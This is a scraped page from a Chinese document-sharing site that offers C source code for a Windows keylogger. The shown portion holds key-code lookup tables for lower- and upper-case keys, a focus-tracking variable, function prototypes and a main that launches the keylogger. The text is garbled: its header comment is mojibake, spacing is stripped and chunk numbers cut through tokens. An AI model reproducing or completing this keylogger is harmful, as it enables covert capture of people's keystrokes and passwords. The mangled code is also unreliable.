資源描述:
《c語言編寫鍵盤記錄器源代碼》由會員上傳分享,免費在線閱讀,更多相關(guān)內(nèi)容在行業(yè)資料-天天文庫。
1、//Có???±àD′?ü?ì?????÷?′′ú????×a????2010?ê06??16è?D??úèy????07:59#include#include//SomeGlobalVariables//LowerCaseKey&SomeOtherKeyschar*LowerCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[
2、F11]","[F12]","`","1","2","3","4","5","6","7","8","9","0","-","=","[TAB]","q","w","e","r","t","y","u","i","o","p","[","]","a","s","d","f","g","h","j","k","l",";","'","z","x","c","v","b","n","m",",",".","/","\","[CTRL]","[WIN]","","[WIN]","[PrintScreen]","
3、[ScrollLock]","[Insert]","[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[UP]","[Right]","[Down]","[NumLock]","/","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};//UpperCaseKey&SomeOtherKeyschar*UpperCase[]={"b","e","[ESC]","[F1]","[F2
4、]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","~","!","@","#","$","%","^","&","*","(",")","_","+","[TAB]","Q","W","E","R","T","Y","U","I","O","P","{","}","A","S","D","F","G","H","J","K","L",":",""","Z","X","C","V","B","N","M"
5、,"<",">",".?","
6、","[CTRL]","[WIN]","","[WIN]","[PrintScreen]","[ScrollLock]","[Insert]","[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[Up]","[Right]","[Down]","[NumLock]","/","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};//AsciiKey
7、s,ForgetAboutItintSpecialKeys[]={8,13,27,112,113,114,115,116,117,118,119,120,121,122,123,192,49,50,51,52,53,54,55,56,57,48,189,187,9,81,87,69,82,84,89,85,73,79,80,219,221,65,83,68,70,71,72,74,75,76,186,222,90,88,67,86,66,78,77,188,190,191,220,17,91,32,92,4
8、4,145,45,36,33,46,35,34,37,38,39,40,144,111,106,109,107,96,97,98,99,100,101,102,103,104,105,110,};HWNDPreviousFocus=NULL;//EndOfData//FunctionProtoTypeDeclaration//----------------------------------------------------------------------BOOLIsWindowsFocusChan
9、ge();BOOLKeyLogger();//----------------------------------------------------------------------//EndOfFucntionProtoTypeDeclaration//MainFunctionintmain(){KeyLogger();//RunTheKeyloggerreturn0;//TheProgramQuit}//